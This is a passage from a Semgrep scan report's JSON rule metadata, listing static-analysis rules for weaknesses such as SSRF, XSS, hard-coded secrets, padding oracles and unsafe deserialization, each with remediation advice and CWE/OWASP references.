[https://owasp.org/Top10/A04_2021-Insecure_Design](https://owasp.org/Top10/A04_2021-Insecure_Design)\n","text":"Default session middleware settings: `secure` not set. It ensures the browser only sends the cookie over HTTPS."},"helpUri":"https://semgrep.dev/r/javascript.express.security.audit.express-cookie-settings.express-cookie-session-no-secure","id":"javascript.express.security.audit.express-cookie-settings.express-cookie-session-no-secure","name":"javascript.express.security.audit.express-cookie-settings.express-cookie-session-no-secure","properties":{"precision":"very-high","tags":["CWE-522: Insufficiently Protected Credentials","MEDIUM CONFIDENCE","OWASP-A02:2017 - Broken Authentication","OWASP-A04:2021 - Insecure Design","security"]},"shortDescription":{"text":"Semgrep Finding: javascript.express.security.audit.express-cookie-settings.express-cookie-session-no-secure"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"`$FUNC` returns a pointer to the memory owned by `$VAR`. This pointer is invalid after `$VAR` goes out of scope, which can trigger a use after free."},"help":{"markdown":"`$FUNC` returns a pointer to the memory owned by `$VAR`. This pointer is invalid after `$VAR` goes out of scope, which can trigger a use after free.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/cpp.lang.security.containers.std-return-data.std-return-data)\n - [https://wiki.sei.cmu.edu/confluence/display/c/DCL30-C.+Declare+objects+with+appropriate+storage+durations](https://wiki.sei.cmu.edu/confluence/display/c/DCL30-C.+Declare+objects+with+appropriate+storage+durations)\n - [https://wiki.sei.cmu.edu/confluence/display/cplusplus/EXP54-CPP.+Do+not+access+an+object+outside+of+its+lifetime](https://wiki.sei.cmu.edu/confluence/display/cplusplus/EXP54-CPP.+Do+not+access+an+object+outside+of+its+lifetime)\n","text":"`$FUNC` returns a pointer to the memory owned by `$VAR`. This pointer is invalid after `$VAR` goes out of scope, which can trigger a use after free."},"helpUri":"https://semgrep.dev/r/cpp.lang.security.containers.std-return-data.std-return-data","id":"cpp.lang.security.containers.std-return-data.std-return-data","name":"cpp.lang.security.containers.std-return-data.std-return-data","properties":{"precision":"very-high","tags":["CWE-416: Use After Free","HIGH CONFIDENCE","security"]},"shortDescription":{"text":"Semgrep Finding: cpp.lang.security.containers.std-return-data.std-return-data"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Untrusted input might be used to build an HTTP request, which can lead to a Server-side request forgery (SSRF) vulnerability. SSRF allows an attacker to send crafted requests from the server side to other internal or external systems. SSRF can lead to unauthorized access to sensitive data and, in some cases, allow the attacker to control applications or systems that trust the vulnerable service. To prevent this vulnerability, avoid allowing user input to craft the base request. Instead, treat it as part of the path or query parameter and encode it appropriately. When user input is necessary to prepare the HTTP request, perform strict input validation. Additionally, whenever possible, use allowlists to only interact with expected, trusted domains."},"help":{"markdown":"Untrusted input might be used to build an HTTP request, which can lead to a Server-side request forgery (SSRF) vulnerability. SSRF allows an attacker to send crafted requests from the server side to other internal or external systems. SSRF can lead to unauthorized access to sensitive data and, in some cases, allow the attacker to control applications or systems that trust the vulnerable service. To prevent this vulnerability, avoid allowing user input to craft the base request. Instead, treat it as part of the path or query parameter and encode it appropriately. When user input is necessary to prepare the HTTP request, perform strict input validation. Additionally, whenever possible, use allowlists to only interact with expected, trusted domains.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.django.net.tainted-django-http-request-aiohttp.tainted-django-http-request-aiohttp)\n - [https://owasp.org/Top10/A10_2021-Server-Side_Request_Forgery_%28SSRF%29](https://owasp.org/Top10/A10_2021-Server-Side_Request_Forgery_%28SSRF%29)\n","text":"Untrusted input might be used to build an HTTP request, which can lead to a Server-side request forgery (SSRF) vulnerability. SSRF allows an attacker to send crafted requests from the server side to other internal or external systems. SSRF can lead to unauthorized access to sensitive data and, in some cases, allow the attacker to control applications or systems that trust the vulnerable service. To prevent this vulnerability, avoid allowing user input to craft the base request. Instead, treat it as part of the path or query parameter and encode it appropriately. When user input is necessary to prepare the HTTP request, perform strict input validation. Additionally, whenever possible, use allowlists to only interact with expected, trusted domains."},"helpUri":"https://semgrep.dev/r/python.django.net.tainted-django-http-request-aiohttp.tainted-django-http-request-aiohttp","id":"python.django.net.tainted-django-http-request-aiohttp.tainted-django-http-request-aiohttp","name":"python.django.net.tainted-django-http-request-aiohttp.tainted-django-http-request-aiohttp","properties":{"precision":"very-high","tags":["CWE-918: Server-Side Request Forgery (SSRF)","MEDIUM CONFIDENCE","OWASP-A10:2021 - Server-Side Request Forgery (SSRF)","security"]},"shortDescription":{"text":"Semgrep Finding: python.django.net.tainted-django-http-request-aiohttp.tainted-django-http-request-aiohttp"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. It is recommended to rotate the secret and retrieve them from a secure secret vault or Hardware Security Module (HSM), alternatively environment variables can be used if allowed by your company policy."},"help":{"markdown":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. It is recommended to rotate the secret and retrieve them from a secure secret vault or Hardware Security Module (HSM), alternatively environment variables can be used if allowed by your company policy.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/rust.secrets.reqwest.hardcoded-auth.hardcoded-auth)\n - [https://docs.rs/reqwest/latest/reqwest/](https://docs.rs/reqwest/latest/reqwest/)\n - [https://owasp.org/Top10/A07_2021-Identification_and_Authentication_Failures](https://owasp.org/Top10/A07_2021-Identification_and_Authentication_Failures)\n","text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. It is recommended to rotate the secret and retrieve them from a secure secret vault or Hardware Security Module (HSM), alternatively environment variables can be used if allowed by your company policy."},"helpUri":"https://semgrep.dev/r/rust.secrets.reqwest.hardcoded-auth.hardcoded-auth","id":"rust.secrets.reqwest.hardcoded-auth.hardcoded-auth","name":"rust.secrets.reqwest.hardcoded-auth.hardcoded-auth","properties":{"precision":"very-high","tags":["CWE-798: Use of Hard-coded Credentials","HIGH CONFIDENCE","OWASP-A07:2021 - Identification and Authentication Failures","security"]},"shortDescription":{"text":"Semgrep Finding: rust.secrets.reqwest.hardcoded-auth.hardcoded-auth"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Detected usage of the `notevil` package, which is unmaintained and has vulnerabilities. Using any sort of `eval()` functionality can be very dangerous, but if you must, the `eval` package is an up to date alternative. Be sure that only trusted input reaches an `eval()` function."},"help":{"markdown":"Detected usage of the `notevil` package, which is unmaintained and has vulnerabilities. Using any sort of `eval()` functionality can be very dangerous, but if you must, the `eval` package is an up to date alternative. Be sure that only trusted input reaches an `eval()` function.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/javascript.express.security.audit.express-detect-notevil-usage.express-detect-notevil-usage)\n - [https://github.com/mmckegg/notevil](https://github.com/mmckegg/notevil)\n","text":"Detected usage of the `notevil` package, which is unmaintained and has vulnerabilities. Using any sort of `eval()` functionality can be very dangerous, but if you must, the `eval` package is an up to date alternative. Be sure that only trusted input reaches an `eval()` function."},"helpUri":"https://semgrep.dev/r/javascript.express.security.audit.express-detect-notevil-usage.express-detect-notevil-usage","id":"javascript.express.security.audit.express-detect-notevil-usage.express-detect-notevil-usage","name":"javascript.express.security.audit.express-detect-notevil-usage.express-detect-notevil-usage","properties":{"precision":"very-high","tags":["CWE-1104: Use of Unmaintained Third Party Components","LOW CONFIDENCE","OWASP-A06:2021 - Vulnerable and Outdated Components","security"]},"shortDescription":{"text":"Semgrep Finding: javascript.express.security.audit.express-detect-notevil-usage.express-detect-notevil-usage"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Untrusted input could be used to tamper with a web page rendering, which can lead to a Cross-site scripting (XSS) vulnerability. XSS vulnerabilities occur when untrusted input executes malicious JavaScript code, leading to issues such as account compromise and sensitive information leakage. To prevent this vulnerability, validate the user input, perform contextual output encoding or sanitize the input. For more information, see: [Go XSS prevention](https://semgrep.dev/docs/cheat-sheets/go-xss/)."},"help":{"markdown":"Untrusted input could be used to tamper with a web page rendering, which can lead to a Cross-site scripting (XSS) vulnerability. XSS vulnerabilities occur when untrusted input executes malicious JavaScript code, leading to issues such as account compromise and sensitive information leakage. To prevent this vulnerability, validate the user input, perform contextual output encoding or sanitize the input. For more information, see: [Go XSS prevention](https://semgrep.dev/docs/cheat-sheets/go-xss/).\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/go.gorilla.xss.gorilla-no-direct-write-to-responsewriter-traint.gorilla-no-direct-write-to-responsewriter-taint)\n - [https://owasp.org/Top10/A03_2021-Injection](https://owasp.org/Top10/A03_2021-Injection)\n","text":"Untrusted input could be used to tamper with a web page rendering, which can lead to a Cross-site scripting (XSS) vulnerability. XSS vulnerabilities occur when untrusted input executes malicious JavaScript code, leading to issues such as account compromise and sensitive information leakage. To prevent this vulnerability, validate the user input, perform contextual output encoding or sanitize the input. For more information, see: [Go XSS prevention](https://semgrep.dev/docs/cheat-sheets/go-xss/)."},"helpUri":"https://semgrep.dev/r/go.gorilla.xss.gorilla-no-direct-write-to-responsewriter-traint.gorilla-no-direct-write-to-responsewriter-taint","id":"go.gorilla.xss.gorilla-no-direct-write-to-responsewriter-traint.gorilla-no-direct-write-to-responsewriter-taint","name":"go.gorilla.xss.gorilla-no-direct-write-to-responsewriter-traint.gorilla-no-direct-write-to-responsewriter-taint","properties":{"precision":"very-high","tags":["CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')","HIGH CONFIDENCE","OWASP-A03:2021 - Injection","OWASP-A07:2017 - Cross-Site Scripting (XSS)","security"]},"shortDescription":{"text":"Semgrep Finding: go.gorilla.xss.gorilla-no-direct-write-to-responsewriter-traint.gorilla-no-direct-write-to-responsewriter-taint"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Untrusted input might be used to build an HTTP request, which can lead to a Server-side request forgery (SSRF) vulnerability. SSRF allows an attacker to send crafted requests from the server side to other internal or external systems. SSRF can lead to unauthorized access to sensitive data and, in some cases, allow the attacker to control applications or systems that trust the vulnerable service. To prevent this vulnerability, avoid allowing user input to craft the base request. Instead, treat it as part of the path or query parameter and encode it appropriately. When user input is necessary to prepare the HTTP request, perform strict input validation. Additionally, whenever possible, use allowlists to only interact with expected, trusted domains."},"help":{"markdown":"Untrusted input might be used to build an HTTP request, which can lead to a Server-side request forgery (SSRF) vulnerability. SSRF allows an attacker to send crafted requests from the server side to other internal or external systems. SSRF can lead to unauthorized access to sensitive data and, in some cases, allow the attacker to control applications or systems that trust the vulnerable service. To prevent this vulnerability, avoid allowing user input to craft the base request. Instead, treat it as part of the path or query parameter and encode it appropriately. When user input is necessary to prepare the HTTP request, perform strict input validation. Additionally, whenever possible, use allowlists to only interact with expected, trusted domains.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.flask.net.tainted-flask-http-request-boto3.tainted-flask-http-request-boto3)\n - [https://owasp.org/Top10/A10_2021-Server-Side_Request_Forgery_%28SSRF%29](https://owasp.org/Top10/A10_2021-Server-Side_Request_Forgery_%28SSRF%29)\n","text":"Untrusted input might be used to build an HTTP request, which can lead to a Server-side request forgery (SSRF) vulnerability. SSRF allows an attacker to send crafted requests from the server side to other internal or external systems. SSRF can lead to unauthorized access to sensitive data and, in some cases, allow the attacker to control applications or systems that trust the vulnerable service. To prevent this vulnerability, avoid allowing user input to craft the base request. Instead, treat it as part of the path or query parameter and encode it appropriately. When user input is necessary to prepare the HTTP request, perform strict input validation. Additionally, whenever possible, use allowlists to only interact with expected, trusted domains."},"helpUri":"https://semgrep.dev/r/python.flask.net.tainted-flask-http-request-boto3.tainted-flask-http-request-boto3","id":"python.flask.net.tainted-flask-http-request-boto3.tainted-flask-http-request-boto3","name":"python.flask.net.tainted-flask-http-request-boto3.tainted-flask-http-request-boto3","properties":{"precision":"very-high","tags":["CWE-918: Server-Side Request Forgery (SSRF)","MEDIUM CONFIDENCE","OWASP-A10:2021 - Server-Side Request Forgery (SSRF)","security"]},"shortDescription":{"text":"Semgrep Finding: python.flask.net.tainted-flask-http-request-boto3.tainted-flask-http-request-boto3"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Ensure S3 bucket object is encrypted at rest using KMS CMKs. CMKs gives you control over the encryption key in terms of access and rotation."},"help":{"markdown":"Ensure S3 bucket object is encrypted at rest using KMS CMKs. CMKs gives you control over the encryption key in terms of access and rotation.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/terraform.aws.security.aws-s3-bucket-object-encrypted-with-cmk.aws-s3-bucket-object-encrypted-with-cmk)\n - [https://owasp.org/Top10/A02_2021-Cryptographic_Failures](https://owasp.org/Top10/A02_2021-Cryptographic_Failures)\n","text":"Ensure S3 bucket object is encrypted at rest using KMS CMKs. CMKs gives you control over the encryption key in terms of access and rotation."},"helpUri":"https://semgrep.dev/r/terraform.aws.security.aws-s3-bucket-object-encrypted-with-cmk.aws-s3-bucket-object-encrypted-with-cmk","id":"terraform.aws.security.aws-s3-bucket-object-encrypted-with-cmk.aws-s3-bucket-object-encrypted-with-cmk","name":"terraform.aws.security.aws-s3-bucket-object-encrypted-with-cmk.aws-s3-bucket-object-encrypted-with-cmk","properties":{"precision":"very-high","tags":["CWE-320: CWE CATEGORY: Key Management Errors","LOW CONFIDENCE","OWASP-A03:2017 - Sensitive Data Exposure","security"]},"shortDescription":{"text":"Semgrep Finding: terraform.aws.security.aws-s3-bucket-object-encrypted-with-cmk.aws-s3-bucket-object-encrypted-with-cmk"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Using CBC with PKCS5Padding is susceptible to padding oracle attacks. A malicious actor could discern the difference between plaintext with valid or invalid padding. Further, CBC mode does not include any integrity checks. Use 'AES/GCM/NoPadding' instead."},"help":{"markdown":"Using CBC with PKCS5Padding is susceptible to padding oracle attacks. A malicious actor could discern the difference between plaintext with valid or invalid padding. Further, CBC mode does not include any integrity checks. Use 'AES/GCM/NoPadding' instead.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/java.lang.security.audit.cbc-padding-oracle.cbc-padding-oracle)\n - [https://capec.mitre.org/data/definitions/463.html](https://capec.mitre.org/data/definitions/463.html)\n - [https://cheatsheetseries.owasp.org/cheatsheets/Cryptographic_Storage_Cheat_Sheet.html#cipher-modes](https://cheatsheetseries.owasp.org/cheatsheets/Cryptographic_Storage_Cheat_Sheet.html#cipher-modes)\n - [https://find-sec-bugs.github.io/bugs.htm#CIPHER_INTEGRITY](https://find-sec-bugs.github.io/bugs.htm#CIPHER_INTEGRITY)\n","text":"Using CBC with PKCS5Padding is susceptible to padding oracle attacks. A malicious actor could discern the difference between plaintext with valid or invalid padding. Further, CBC mode does not include any integrity checks. Use 'AES/GCM/NoPadding' instead."},"helpUri":"https://semgrep.dev/r/java.lang.security.audit.cbc-padding-oracle.cbc-padding-oracle","id":"java.lang.security.audit.cbc-padding-oracle.cbc-padding-oracle","name":"java.lang.security.audit.cbc-padding-oracle.cbc-padding-oracle","properties":{"precision":"very-high","tags":["CWE-327: Use of a Broken or Risky Cryptographic Algorithm","HIGH CONFIDENCE","OWASP-A02:2021 - Cryptographic Failures","OWASP-A03:2017 - Sensitive Data Exposure","security"]},"shortDescription":{"text":"Semgrep Finding: java.lang.security.audit.cbc-padding-oracle.cbc-padding-oracle"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"PayPal Braintree Access Token detected"},"help":{"markdown":"PayPal Braintree Access Token detected\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/generic.secrets.security.detected-paypal-braintree-access-token.detected-paypal-braintree-access-token)\n - [https://owasp.org/Top10/A07_2021-Identification_and_Authentication_Failures](https://owasp.org/Top10/A07_2021-Identification_and_Authentication_Failures)\n","text":"PayPal Braintree Access Token detected"},"helpUri":"https://semgrep.dev/r/generic.secrets.security.detected-paypal-braintree-access-token.detected-paypal-braintree-access-token","id":"generic.secrets.security.detected-paypal-braintree-access-token.detected-paypal-braintree-access-token","name":"generic.secrets.security.detected-paypal-braintree-access-token.detected-paypal-braintree-access-token","properties":{"precision":"very-high","tags":["CWE-798: Use of Hard-coded Credentials","LOW CONFIDENCE","OWASP-A07:2021 - Identification and Authentication Failures","security"]},"shortDescription":{"text":"Semgrep Finding: generic.secrets.security.detected-paypal-braintree-access-token.detected-paypal-braintree-access-token"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Untrusted user input in `importlib.import_module()` function allows an attacker to load arbitrary code. Avoid dynamic values in `importlib.import_module()` or use a whitelist to prevent running untrusted code."},"help":{"markdown":"Untrusted user input in `importlib.import_module()` function allows an attacker to load arbitrary code. Avoid dynamic values in `importlib.import_module()` or use a whitelist to prevent running untrusted code.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.lang.security.audit.non-literal-import.non-literal-import)\n - [https://owasp.org/Top10/A01_2021-Broken_Access_Control](https://owasp.org/Top10/A01_2021-Broken_Access_Control)\n","text":"Untrusted user input in `importlib.import_module()` function allows an attacker to load arbitrary code. Avoid dynamic values in `importlib.import_module()` or use a whitelist to prevent running untrusted code."},"helpUri":"https://semgrep.dev/r/python.lang.security.audit.non-literal-import.non-literal-import","id":"python.lang.security.audit.non-literal-import.non-literal-import","name":"python.lang.security.audit.non-literal-import.non-literal-import","properties":{"precision":"very-high","tags":["CWE-706: Use of Incorrectly-Resolved Name or Reference","LOW CONFIDENCE","OWASP-A01:2021 - Broken Access Control","security"]},"shortDescription":{"text":"Semgrep Finding: python.lang.security.audit.non-literal-import.non-literal-import"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Hardcoded variable `TESTING` detected. Use environment variables or config files instead"},"help":{"markdown":"Hardcoded variable `TESTING` detected. Use environment variables or config files instead\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.flask.security.audit.hardcoded-config.avoid_hardcoded_config_TESTING)\n - [https://bento.dev/checks/flask/avoid-hardcoded-config/](https://bento.dev/checks/flask/avoid-hardcoded-config/)\n - [https://flask.palletsprojects.com/en/1.1.x/config/?highlight=configuration#builtin-configuration-values](https://flask.palletsprojects.com/en/1.1.x/config/?highlight=configuration#builtin-configuration-values)\n - [https://flask.palletsprojects.com/en/1.1.x/config/?highlight=configuration#environment-and-debug-features](https://flask.palletsprojects.com/en/1.1.x/config/?highlight=configuration#environment-and-debug-features)\n","text":"Hardcoded variable `TESTING` detected. Use environment variables or config files instead"},"helpUri":"https://semgrep.dev/r/python.flask.security.audit.hardcoded-config.avoid_hardcoded_config_TESTING","id":"python.flask.security.audit.hardcoded-config.avoid_hardcoded_config_TESTING","name":"python.flask.security.audit.hardcoded-config.avoid_hardcoded_config_TESTING","properties":{"precision":"very-high","tags":["CWE-489: Active Debug Code","LOW CONFIDENCE","OWASP-A05:2021 - Security Misconfiguration","security"]},"shortDescription":{"text":"Semgrep Finding: python.flask.security.audit.hardcoded-config.avoid_hardcoded_config_TESTING"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Application redirects to a destination URL specified by a user-supplied parameter that is not validated. This could direct users to malicious locations. Consider using an allowlist to validate URLs."},"help":{"markdown":"Application redirects to a destination URL specified by a user-supplied parameter that is not validated. This could direct users to malicious locations. Consider using an allowlist to validate URLs.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/java.lang.security.audit.unvalidated-redirect.unvalidated-redirect)\n - [https://owasp.org/Top10/A01_2021-Broken_Access_Control](https://owasp.org/Top10/A01_2021-Broken_Access_Control)\n","text":"Application redirects to a destination URL specified by a user-supplied parameter that is not validated. This could direct users to malicious locations. Consider using an allowlist to validate URLs."},"helpUri":"https://semgrep.dev/r/java.lang.security.audit.unvalidated-redirect.unvalidated-redirect","id":"java.lang.security.audit.unvalidated-redirect.unvalidated-redirect","name":"java.lang.security.audit.unvalidated-redirect.unvalidated-redirect","properties":{"precision":"very-high","tags":["CWE-601: URL Redirection to Untrusted Site ('Open Redirect')","MEDIUM CONFIDENCE","OWASP-A01:2021 - Broken Access Control","security"]},"shortDescription":{"text":"Semgrep Finding: java.lang.security.audit.unvalidated-redirect.unvalidated-redirect"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"S3 bucket with public read access detected."},"help":{"markdown":"S3 bucket with public read access detected.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/terraform.lang.security.s3-public-read-bucket.s3-public-read-bucket)\n - [https://registry.terraform.io/providers/hashicorp/aws/latest/docs/resources/s3_bucket#acl](https://registry.terraform.io/providers/hashicorp/aws/latest/docs/resources/s3_bucket#acl)\n - [https://docs.aws.amazon.com/AmazonS3/latest/dev/acl-overview.html#canned-acl](https://docs.aws.amazon.com/AmazonS3/latest/dev/acl-overview.html#canned-acl)\n","text":"S3 bucket with public read access detected."},"helpUri":"https://semgrep.dev/r/terraform.lang.security.s3-public-read-bucket.s3-public-read-bucket","id":"terraform.lang.security.s3-public-read-bucket.s3-public-read-bucket","name":"terraform.lang.security.s3-public-read-bucket.s3-public-read-bucket","properties":{"precision":"very-high","tags":["CWE-200: Exposure of Sensitive Information to an Unauthorized Actor","LOW CONFIDENCE","OWASP-A01:2021 - Broken Access Control","security"]},"shortDescription":{"text":"Semgrep Finding: terraform.lang.security.s3-public-read-bucket.s3-public-read-bucket"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Checks for requests sent via Unirest to http:// URLS. This is dangerous because the server is attempting to connect to a website that does not encrypt traffic with TLS. Instead, send requests only to https:// URLS."},"help":{"markdown":"Checks for requests sent via Unirest to http:// URLS. This is dangerous because the server is attempting to connect to a website that does not encrypt traffic with TLS. Instead, send requests only to https:// URLS.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/problem-based-packs.insecure-transport.java-stdlib.unirest-http-request.unirest-http-request)\n - [https://kong.github.io/unirest-java/#requests](https://kong.github.io/unirest-java/#requests)\n","text":"Checks for requests sent via Unirest to http:// URLS. This is dangerous because the server is attempting to connect to a website that does not encrypt traffic with TLS. Instead, send requests only to https:// URLS."},"helpUri":"https://semgrep.dev/r/problem-based-packs.insecure-transport.java-stdlib.unirest-http-request.unirest-http-request","id":"problem-based-packs.insecure-transport.java-stdlib.unirest-http-request.unirest-http-request","name":"problem-based-packs.insecure-transport.java-stdlib.unirest-http-request.unirest-http-request","properties":{"precision":"very-high","tags":["CWE-319: Cleartext Transmission of Sensitive Information","MEDIUM CONFIDENCE","OWASP-A03:2017 - Sensitive Data Exposure","security"]},"shortDescription":{"text":"Semgrep Finding: problem-based-packs.insecure-transport.java-stdlib.unirest-http-request.unirest-http-request"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"The application might dynamically evaluate untrusted input, which can lead to a code injection vulnerability. An attacker can execute arbitrary code, potentially gaining complete control of the system. Don't pass untrusted data to this relationship argument, it's getting passed to `eval`."},"help":{"markdown":"The application might dynamically evaluate untrusted input, which can lead to a code injection vulnerability. An attacker can execute arbitrary code, potentially gaining complete control of the system. Don't pass untrusted data to this relationship argument, it's getting passed to `eval`.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.fastapi.db.sqlalchemy-fastapi-relationship.sqlalchemy-fastapi-relationship)\n - [https://docs.sqlalchemy.org/en/20/core/sqlelement.html#sqlalchemy.sql.expression.text](https://docs.sqlalchemy.org/en/20/core/sqlelement.html#sqlalchemy.sql.expression.text)\n - [https://owasp.org/Top10/A03_2021-Injection](https://owasp.org/Top10/A03_2021-Injection)\n","text":"The application might dynamically evaluate untrusted input, which can lead to a code injection vulnerability. An attacker can execute arbitrary code, potentially gaining complete control of the system. Don't pass untrusted data to this relationship argument, it's getting passed to `eval`."},"helpUri":"https://semgrep.dev/r/python.fastapi.db.sqlalchemy-fastapi-relationship.sqlalchemy-fastapi-relationship","id":"python.fastapi.db.sqlalchemy-fastapi-relationship.sqlalchemy-fastapi-relationship","name":"python.fastapi.db.sqlalchemy-fastapi-relationship.sqlalchemy-fastapi-relationship","properties":{"precision":"very-high","tags":["CWE-94: Improper Control of Generation of Code ('Code Injection')","HIGH CONFIDENCE","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: python.fastapi.db.sqlalchemy-fastapi-relationship.sqlalchemy-fastapi-relationship"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Hardcoded JWT secret or private key is used. This is a Insufficiently Protected Credentials weakness: https://cwe.mitre.org/data/definitions/522.html Consider using an appropriate security mechanism to protect the credentials (e.g. keeping secrets in environment variables)"},"help":{"markdown":"Hardcoded JWT secret or private key is used. This is a Insufficiently Protected Credentials weakness: https://cwe.mitre.org/data/definitions/522.html Consider using an appropriate security mechanism to protect the credentials (e.g. keeping secrets in environment variables)\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/scala.scala-jwt.security.jwt-hardcode.scala-jwt-hardcoded-secret)\n - [https://owasp.org/Top10/A04_2021-Insecure_Design](https://owasp.org/Top10/A04_2021-Insecure_Design)\n","text":"Hardcoded JWT secret or private key is used. This is a Insufficiently Protected Credentials weakness: https://cwe.mitre.org/data/definitions/522.html Consider using an appropriate security mechanism to protect the credentials (e.g. keeping secrets in environment variables)"},"helpUri":"https://semgrep.dev/r/scala.scala-jwt.security.jwt-hardcode.scala-jwt-hardcoded-secret","id":"scala.scala-jwt.security.jwt-hardcode.scala-jwt-hardcoded-secret","name":"scala.scala-jwt.security.jwt-hardcode.scala-jwt-hardcoded-secret","properties":{"precision":"very-high","tags":["CWE-522: Insufficiently Protected Credentials","HIGH CONFIDENCE","OWASP-A02:2017 - Broken Authentication","OWASP-A04:2021 - Insecure Design","security"]},"shortDescription":{"text":"Semgrep Finding: scala.scala-jwt.security.jwt-hardcode.scala-jwt-hardcoded-secret"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"When using Jackson to marshall/unmarshall JSON to Java objects, enabling default typing is dangerous and can lead to RCE. If an attacker can control `$JSON` it might be possible to provide a malicious JSON which can be used to exploit unsecure deserialization. In order to prevent this issue, avoid to enable default typing (globally or by using \"Per-class\" annotations) and avoid using `Object` and other dangerous types for member variable declaration which creating classes for Jackson based deserialization."},"help":{"markdown":"When using Jackson to marshall/unmarshall JSON to Java objects, enabling default typing is dangerous and can lead to RCE. If an attacker can control `$JSON` it might be possible to provide a malicious JSON which can be used to exploit unsecure deserialization. In order to prevent this issue, avoid to enable default typing (globally or by using \"Per-class\" annotations) and avoid using `Object` and other dangerous types for member variable declaration which creating classes for Jackson based deserialization.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/java.lang.security.jackson-unsafe-deserialization.jackson-unsafe-deserialization)\n - [https://swapneildash.medium.com/understanding-insecure-implementation-of-jackson-deserialization-7b3d409d2038](https://swapneildash.medium.com/understanding-insecure-implementation-of-jackson-deserialization-7b3d409d2038)\n - [https://cowtowncoder.medium.com/on-jackson-cves-dont-panic-here-is-what-you-need-to-know-54cd0d6e8062](https://cowtowncoder.medium.com/on-jackson-cves-dont-panic-here-is-what-you-need-to-know-54cd0d6e8062)\n - [https://adamcaudill.com/2017/10/04/exploiting-jackson-rce-cve-2017-7525/](https://adamcaudill.com/2017/10/04/exploiting-jackson-rce-cve-2017-7525/)\n","text":"When using Jackson to marshall/unmarshall JSON to Java objects, enabling default typing is dangerous and can lead to RCE. If an attacker can control `$JSON` it might be possible to provide a malicious JSON which can be used to exploit unsecure deserialization. In order to prevent this issue, avoid to enable default typing (globally or by using \"Per-class\" annotations) and avoid using `Object` and other dangerous types for member variable declaration which creating classes for Jackson based deserialization."},"helpUri":"https://semgrep.dev/r/java.lang.security.jackson-unsafe-deserialization.jackson-unsafe-deserialization","id":"java.lang.security.jackson-unsafe-deserialization.jackson-unsafe-deserialization","name":"java.lang.security.jackson-unsafe-deserialization.jackson-unsafe-deserialization","properties":{"precision":"very-high","tags":["CWE-502: Deserialization of Untrusted Data","MEDIUM CONFIDENCE","OWASP-A8:2017 Insecure Deserialization","OWASP-A8:2021 Software and Data Integrity Failures","security"]},"shortDescription":{"text":"Semgrep Finding: java.lang.security.jackson-unsafe-deserialization.jackson-unsafe-deserialization"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"The application may convert user-controlled data into an object, which can lead to an insecure deserialization vulnerability. An attacker can create a malicious serialized object, pass it to the application, and take advantage of the deserialization process to perform Denial-of-service (DoS), Remote code execution (RCE), or bypass access control measures. The `jsonpickle` module can execute arbitrary Python code. Do not load `jsonpickles` from untrusted sources. For deserializing data from untrusted sources we recommend using YAML or JSON libraries with built-in protections, such as json, PyYAML, or ruamel.yaml."},"help":{"markdown":"The application may convert user-controlled data into an object, which can lead to an insecure deserialization vulnerability. An attacker can create a malicious serialized object, pass it to the application, and take advantage of the deserialization process to perform Denial-of-service (DoS), Remote code execution (RCE), or bypass access control measures. The `jsonpickle` module can execute arbitrary Python code. Do not load `jsonpickles` from untrusted sources. For deserializing data from untrusted sources we recommend using YAML or JSON libraries with built-in protections, such as json, PyYAML, or ruamel.yaml.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.django.deserialization.tainted-jsonpickle-django.tainted-jsonpickle-django)\n - [https://davidhamann.de/2020/04/05/exploiting-python-pickle/](https://davidhamann.de/2020/04/05/exploiting-python-pickle/)\n - [https://github.com/jsonpickle/jsonpickle#jsonpickle](https://github.com/jsonpickle/jsonpickle#jsonpickle)\n - 